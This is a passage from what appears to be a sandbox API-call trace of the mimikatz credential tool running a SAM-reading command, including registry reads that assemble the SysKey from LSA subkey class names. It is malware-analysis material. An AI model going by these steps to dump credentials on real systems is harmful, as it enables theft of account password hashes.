", cchWideChar=2, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F ;0000eb80} ", lpUsedDefaultChar=0x0) returned 2 [0197.018] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0x2, lpOverlapped=0x0) returned 1 [0197.018] GetLastError () returned 0x0 [0197.018] SetLastError (dwErrCode=0x0) [0197.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="460381 \x09} ", cchWideChar=11, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="460381 \x09} ", lpUsedDefaultChar=0x0) returned 11 [0197.018] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0xb, lpOverlapped=0x0) returned 1 [0197.018] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x10f944 | out: TokenInformation=0x0, ReturnLength=0x10f944) returned 0 [0197.018] GetLastError () returned 0x7a [0197.018] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x18d4d0 [0197.018] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x18d4d0, TokenInformationLength=0x2c, ReturnLength=0x10f944 | out: TokenInformation=0x18d4d0, ReturnLength=0x10f944) returned 1 [0197.019] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x18d4e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x10f890, ReferencedDomainName=0x0, cchReferencedDomainName=0x10f8d8, peUse=0x10f894 | out: Name=0x0, cchName=0x10f890, ReferencedDomainName=0x0, cchReferencedDomainName=0x10f8d8, peUse=0x10f894) returned 0 [0197.020] GetLastError () returned 0x7a [0197.020] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d510 [0197.020] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x185ae0 [0197.020] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x18d4e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x18d510, cchName=0x10f890, ReferencedDomainName=0x185ae0, cchReferencedDomainName=0x10f8d8, peUse=0x10f894 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x10f890, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x10f8d8, peUse=0x10f894) returned 1 [0197.020] ConvertSidToStringSidW () returned 0x1 [0197.020] LocalFree (hMem=0x18d4d0) returned 0x0 [0197.020] GetLastError () returned 0x0 [0197.020] SetLastError (dwErrCode=0x0) [0197.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="XDUWTFONO\\5p5NrGJn0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000)Us\x10", cchWideChar=77, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO\\5p5NrGJn0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 77 [0197.021] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0x4d, lpOverlapped=0x0) returned 1 [0197.021] LocalFree (hMem=0x18d510) returned 0x0 [0197.021] LocalFree (hMem=0x185ae0) returned 0x0 [0197.021] LocalFree (hMem=0x1692b0) returned 0x0 [0197.021] GetLastError () returned 0x0 [0197.021] SetLastError (dwErrCode=0x0) [0197.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09(12g,23p)\x09Primary0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000)Us\x10", cchWideChar=18, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09(12g,23p)\x09Primary0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 18 [0197.021] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0x12, lpOverlapped=0x0) returned 1 [0197.021] GetLastError () returned 0x0 [0197.021] SetLastError (dwErrCode=0x0) [0197.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n12g,23p)\x09Primary0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000)Us\x10", cchWideChar=2, lpMultiByteStr=0x10e980, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n12g,23p)\x09Primary0jS HALPmcxz\x09S-1-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x0) returned 2 [0197.022] WriteFile (in: hFile=0x720, lpBuffer=0x10e980*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2c0, lpOverlapped=0x0 | out: lpBuffer=0x10e980*, lpNumberOfBytesWritten=0x10e2c0*=0x2, lpOverlapped=0x0) returned 1 [0197.022] CloseHandle (hObject=0x16c) returned 1 [0197.022] CloseHandle (hObject=0x168) returned 1 [0197.022] CloseHandle (hObject=0x170) returned 1 [0197.022] CloseHandle (hObject=0x174) returned 1 [0197.022] LocalFree (hMem=0x16bba0) returned 0x0 [0197.022] CloseHandle (hObject=0x178) returned 1 [0197.022] LocalFree (hMem=0x16bbe0) returned 0x0 [0197.022] CloseHandle (hObject=0x17c) returned 1 [0197.022] LocalFree (hMem=0x16bb80) returned 0x0 [0197.022] CloseHandle (hObject=0x180) returned 1 [0197.022] LocalFree (hMem=0x16bc00) returned 0x0 [0197.022] CloseHandle (hObject=0x184) returned 1 [0197.022] LocalFree (hMem=0x16bbc0) returned 0x0 [0197.022] CloseHandle (hObject=0x188) returned 1 [0197.022] LocalFree (hMem=0x16bc20) returned 0x0 [0197.022] CloseHandle (hObject=0x18c) returned 1 [0197.022] LocalFree (hMem=0x16bc40) returned 0x0 [0197.022] CloseHandle (hObject=0x190) returned 1 [0197.022] LocalFree (hMem=0x16bc60) returned 0x0 [0197.022] CloseHandle (hObject=0x194) returned 1 [0197.023] LocalFree (hMem=0x16bc80) returned 0x0 [0197.023] CloseHandle (hObject=0x198) returned 1 [0197.023] LocalFree (hMem=0x16bca0) returned 0x0 [0197.023] CloseHandle (hObject=0x19c) returned 1 [0197.023] LocalFree (hMem=0x16bcc0) returned 0x0 [0197.023] CloseHandle (hObject=0x1a0) returned 1 [0197.023] LocalFree (hMem=0x16bce0) returned 0x0 [0197.023] CloseHandle (hObject=0x1a4) returned 1 [0197.023] LocalFree (hMem=0x16bd00) returned 0x0 [0197.023] CloseHandle (hObject=0x1a8) returned 1 [0197.023] LocalFree (hMem=0x16bd20) returned 0x0 [0197.023] CloseHandle (hObject=0x1ac) returned 1 [0197.023] LocalFree (hMem=0x16bd40) returned 0x0 [0197.023] CloseHandle (hObject=0x1b0) returned 1 [0197.023] LocalFree (hMem=0x16bd60) returned 0x0 [0197.023] CloseHandle (hObject=0x1b4) returned 1 [0197.023] LocalFree (hMem=0x16bd80) returned 0x0 [0197.023] CloseHandle (hObject=0x1b8) returned 1 [0197.023] LocalFree (hMem=0x16bda0) returned 0x0 [0197.023] CloseHandle (hObject=0x1bc) returned 1 [0197.023] LocalFree (hMem=0x16bdc0) returned 0x0 [0197.023] CloseHandle (hObject=0x1c0) returned 1 [0197.023] LocalFree (hMem=0x16bde0) returned 0x0 [0197.023] CloseHandle (hObject=0x1c4) returned 1 [0197.024] LocalFree (hMem=0x16be00) returned 0x0 [0197.024] CloseHandle (hObject=0x1c8) returned 1 [0197.024] LocalFree (hMem=0x16be20) returned 0x0 [0197.024] CloseHandle (hObject=0x1cc) returned 1 [0197.024] LocalFree (hMem=0x16be40) returned 0x0 [0197.024] CloseHandle (hObject=0x1d0) returned 1 [0197.024] LocalFree (hMem=0x16be60) returned 0x0 [0197.024] CloseHandle (hObject=0x1d4) returned 1 [0197.024] LocalFree (hMem=0x16be80) returned 0x0 [0197.024] CloseHandle (hObject=0x1d8) returned 1 [0197.024] LocalFree (hMem=0x16bea0) returned 0x0 [0197.024] CloseHandle (hObject=0x1dc) returned 1 [0197.024] LocalFree (hMem=0x16bec0) returned 0x0 [0197.024] CloseHandle (hObject=0x1e0) returned 1 [0197.024] LocalFree (hMem=0x16bee0) returned 0x0 [0197.024] CloseHandle (hObject=0x1e4) returned 1 [0197.024] LocalFree (hMem=0x16bf00) returned 0x0 [0197.024] CloseHandle (hObject=0x1e8) returned 1 [0197.024] LocalFree (hMem=0x16bf20) returned 0x0 [0197.024] CloseHandle (hObject=0x1ec) returned 1 [0197.024] LocalFree (hMem=0x16bf40) returned 0x0 [0197.024] CloseHandle (hObject=0x1f0) returned 1 [0197.024] LocalFree (hMem=0x16bf60) returned 0x0 [0197.024] CloseHandle (hObject=0x1f4) returned 1 [0197.024] LocalFree (hMem=0x16bf80) returned 0x0 [0197.025] CloseHandle (hObject=0x1f8) returned 1 [0197.025] LocalFree (hMem=0x16bfa0) returned 0x0 [0197.025] CloseHandle (hObject=0x1fc) returned 1 [0197.025] LocalFree (hMem=0x16bfc0) returned 0x0 [0197.025] CloseHandle (hObject=0x200) returned 1 [0197.025] LocalFree (hMem=0x16bfe0) returned 0x0 [0197.025] CloseHandle (hObject=0x204) returned 1 [0197.025] LocalFree (hMem=0x16c000) returned 0x0 [0197.025] CloseHandle (hObject=0x208) returned 1 [0197.025] LocalFree (hMem=0x16c020) returned 0x0 [0197.025] CloseHandle (hObject=0x20c) returned 1 [0197.025] LocalFree (hMem=0x16c040) returned 0x0 [0197.025] CloseHandle (hObject=0x210) returned 1 [0197.025] LocalFree (hMem=0x16c060) returned 0x0 [0197.025] CloseHandle (hObject=0x214) returned 1 [0197.025] LocalFree (hMem=0x16c080) returned 0x0 [0197.025] CloseHandle (hObject=0x218) returned 1 [0197.025] LocalFree (hMem=0x16c0a0) returned 0x0 [0197.025] CloseHandle (hObject=0x21c) returned 1 [0197.025] LocalFree (hMem=0x16c0c0) returned 0x0 [0197.025] CloseHandle (hObject=0x220) returned 1 [0197.025] LocalFree (hMem=0x16c0e0) returned 0x0 [0197.025] CloseHandle (hObject=0x224) returned 1 [0197.025] LocalFree (hMem=0x16c100) returned 0x0 [0197.025] CloseHandle (hObject=0x228) returned 1 [0197.026] LocalFree (hMem=0x16c120) returned 0x0 [0197.026] CloseHandle (hObject=0x22c) returned 1 [0197.026] LocalFree (hMem=0x185a20) returned 0x0 [0197.026] CloseHandle (hObject=0x230) returned 1 [0197.026] LocalFree (hMem=0x185a40) returned 0x0 [0197.026] CloseHandle (hObject=0x234) returned 1 [0197.026] LocalFree (hMem=0x185a60) returned 0x0 [0197.026] CloseHandle (hObject=0x238) returned 1 [0197.026] LocalFree (hMem=0x185a80) returned 0x0 [0197.026] CloseHandle (hObject=0x23c) returned 1 [0197.026] LocalFree (hMem=0x185aa0) returned 0x0 [0197.026] LocalFree (hMem=0x16bb60) returned 0x0 [0197.026] LocalFree (hMem=0x16bb20) returned 0x0 [0197.026] LocalFree (hMem=0x18d290) returned 0x0 [0197.026] LocalFree (hMem=0x176630) returned 0x0 [0197.026] GetLastError () returned 0x0 [0197.026] SetLastError (dwErrCode=0x0) [0197.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nmimikatz(commandline) # read::samz\r\n", cchWideChar=38, lpMultiByteStr=0x10ed00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nmimikatz(commandline) # read::samz\r\n", lpUsedDefaultChar=0x0) returned 38 [0197.026] WriteFile (in: hFile=0x720, lpBuffer=0x10ed00*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x10e640, lpOverlapped=0x0 | out: lpBuffer=0x10ed00*, lpNumberOfBytesWritten=0x10e640*=0x26, lpOverlapped=0x0) returned 1 [0197.026] ExpandEnvironmentStringsW (in: lpSrc="read::samz", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0xb [0197.026] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb20 [0197.026] ExpandEnvironmentStringsW (in: lpSrc="read::samz", lpDst=0x16bb20, nSize=0xb | out: lpDst="read::samz") returned 0xb [0197.027] CommandLineToArgvW (in: lpCmdLine="read::samz", pNumArgs=0x10fc68 | out: pNumArgs=0x10fc68) returned 0x176630*="read::samz" [0197.027] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x16bb60 [0197.027] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16c120 [0197.027] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fc00 | out: phkResult=0x10fc00*=0x23c) returned 0x0 [0197.027] RegOpenKeyExW (in: hKey=0x23c, lpSubKey="Select", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fab8 | out: phkResult=0x10fab8*=0x238) returned 0x0 [0197.027] RegQueryValueExW (in: hKey=0x238, lpValueName="Current", lpReserved=0x0, lpType=0x0, lpData=0x10fab0, lpcbData=0x10fb18*=0x4 | out: lpType=0x0, lpData=0x10fab0*=0x1, lpcbData=0x10fb18*=0x4) returned 0x0 [0197.027] GetLastError () returned 0x0 [0197.027] SetLastError (dwErrCode=0x0) [0197.027] RegOpenKeyExW (in: hKey=0x23c, lpSubKey="ControlSet001", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fb78 | out: phkResult=0x10fb78*=0x234) returned 0x0 [0197.027] RegCloseKey (hKey=0x238) returned 0x0 [0197.027] GetLastError () returned 0x0 [0197.027] SetLastError (dwErrCode=0x0) [0197.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Domain : ", cchWideChar=9, lpMultiByteStr=0x10eb70, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Domain : ", lpUsedDefaultChar=0x0) returned 9 [0197.027] WriteFile (in: hFile=0x720, lpBuffer=0x10eb70*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e4b0, lpOverlapped=0x0 | out: lpBuffer=0x10eb70*, lpNumberOfBytesWritten=0x10e4b0*=0x9, lpOverlapped=0x0) returned 1 [0197.027] RegOpenKeyExW (in: hKey=0x234, lpSubKey="Control\\ComputerName\\ComputerName", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fb20 | out: phkResult=0x10fb20*=0x238) returned 0x0 [0197.028] RegQueryValueExW (in: hKey=0x238, lpValueName="ComputerName", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x10fa90*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x10fa90*=0x14) returned 0x0 [0197.028] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16c100 [0197.028] RegQueryValueExW (in: hKey=0x238, lpValueName="ComputerName", lpReserved=0x0, lpType=0x0, lpData=0x16c100, lpcbData=0x10fa90*=0x14 | out: lpType=0x0, lpData=0x16c100*=0x58, lpcbData=0x10fa90*=0x14) returned 0x0 [0197.028] RegCloseKey (hKey=0x238) returned 0x0 [0197.028] GetLastError () returned 0x0 [0197.028] SetLastError (dwErrCode=0x0) [0197.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="XDUWTFONO\r\n", cchWideChar=11, lpMultiByteStr=0x10eb70, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO\r\nÿþ\x07", lpUsedDefaultChar=0x0) returned 11 [0197.028] WriteFile (in: hFile=0x720, lpBuffer=0x10eb70*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e4b0, lpOverlapped=0x0 | out: lpBuffer=0x10eb70*, lpNumberOfBytesWritten=0x10e4b0*=0xb, lpOverlapped=0x0) returned 1 [0197.028] LocalFree (hMem=0x16c100) returned 0x0 [0197.028] GetLastError () returned 0x0 [0197.028] SetLastError (dwErrCode=0x0) [0197.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SysKey : \r\n", cchWideChar=9, lpMultiByteStr=0x10eb70, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SysKey : \r\nÿþ\x07", lpUsedDefaultChar=0x0) returned 9 [0197.028] WriteFile (in: hFile=0x720, lpBuffer=0x10eb70*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e4b0, lpOverlapped=0x0 | out: lpBuffer=0x10eb70*, lpNumberOfBytesWritten=0x10e4b0*=0x9, lpOverlapped=0x0) returned 1 [0197.028] RegOpenKeyExW (in: hKey=0x234, lpSubKey="Control\\LSA", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fb48 | out: phkResult=0x10fb48*=0x238) returned 0x0 [0197.029] RegOpenKeyExW (in: hKey=0x238, lpSubKey="JD", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fab0 | out: phkResult=0x10fab0*=0x230) returned 0x0 [0197.029] RegQueryInfoKeyW (in: hKey=0x230, lpClass=0x10fac8, lpcchClass=0x10fb18, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass="f3e2bac1", lpcchClass=0x10fb18, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.029] RegCloseKey (hKey=0x230) returned 0x0 [0197.029] RegOpenKeyExW (in: hKey=0x238, lpSubKey="Skew1", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fab0 | out: phkResult=0x10fab0*=0x230) returned 0x0 [0197.029] RegQueryInfoKeyW (in: hKey=0x230, lpClass=0x10fac8, lpcchClass=0x10fb18, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass="da02bd9e", lpcchClass=0x10fb18, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.029] RegCloseKey (hKey=0x230) returned 0x0 [0197.029] RegOpenKeyExW (in: hKey=0x238, lpSubKey="GBG", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fab0 | out: phkResult=0x10fab0*=0x230) returned 0x0 [0197.029] RegQueryInfoKeyW (in: hKey=0x230, lpClass=0x10fac8, lpcchClass=0x10fb18, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass="6e78d097", lpcchClass=0x10fb18, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.029] RegCloseKey (hKey=0x230) returned 0x0 [0197.029] RegOpenKeyExW (in: hKey=0x238, lpSubKey="Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fab0 | out: phkResult=0x10fab0*=0x230) returned 0x0 [0197.029] RegQueryInfoKeyW (in: hKey=0x230, lpClass=0x10fac8, lpcchClass=0x10fb18, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass="64e204b1", lpcchClass=0x10fb18, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0197.029] RegCloseKey (hKey=0x230) returned 0x0 [0197.030] GetLastError () returned 0x0 [0197.030] SetLastError (dwErrCode=0x0) [0197.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6e", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6e", lpUsedDefaultChar=0x0) returned 2 [0197.030] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.030] GetLastError () returned 0x0 [0197.030] SetLastError (dwErrCode=0x0) [0197.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02", lpUsedDefaultChar=0x0) returned 2 [0197.030] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.030] GetLastError () returned 0x0 [0197.030] SetLastError (dwErrCode=0x0) [0197.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da", lpUsedDefaultChar=0x0) returned 2 [0197.030] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.031] GetLastError () returned 0x0 [0197.031] SetLastError (dwErrCode=0x0) [0197.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ba", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ba", lpUsedDefaultChar=0x0) returned 2 [0197.031] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.031] GetLastError () returned 0x0 [0197.031] SetLastError (dwErrCode=0x0) [0197.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="97", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="97", lpUsedDefaultChar=0x0) returned 2 [0197.031] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.031] GetLastError () returned 0x0 [0197.031] SetLastError (dwErrCode=0x0) [0197.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="78", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="78", lpUsedDefaultChar=0x0) returned 2 [0197.031] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.031] GetLastError () returned 0x0 [0197.032] SetLastError (dwErrCode=0x0) [0197.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e2", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e2", lpUsedDefaultChar=0x0) returned 2 [0197.032] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.032] GetLastError () returned 0x0 [0197.032] SetLastError (dwErrCode=0x0) [0197.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="c1", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c1", lpUsedDefaultChar=0x0) returned 2 [0197.032] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.032] GetLastError () returned 0x0 [0197.032] SetLastError (dwErrCode=0x0) [0197.032] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="f3", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="f3", lpUsedDefaultChar=0x0) returned 2 [0197.032] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.032] GetLastError () returned 0x0 [0197.032] SetLastError (dwErrCode=0x0) [0197.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bd", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bd", lpUsedDefaultChar=0x0) returned 2 [0197.033] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.033] GetLastError () returned 0x0 [0197.033] SetLastError (dwErrCode=0x0) [0197.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e2", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e2", lpUsedDefaultChar=0x0) returned 2 [0197.033] WriteFile (in: hFile=0x720, lpBuffer=0x10eb30*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e470, lpOverlapped=0x0 | out: lpBuffer=0x10eb30*, lpNumberOfBytesWritten=0x10e470*=0x2, lpOverlapped=0x0) returned 1 [0197.033] GetLastError () returned 0x0 [0197.033] SetLastError (dwErrCode=0x0) [0197.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="64", cchWideChar=2, lpMultiByteStr=0x10eb30, cbMultiByte=3413, lpDefaultChar=0x0, 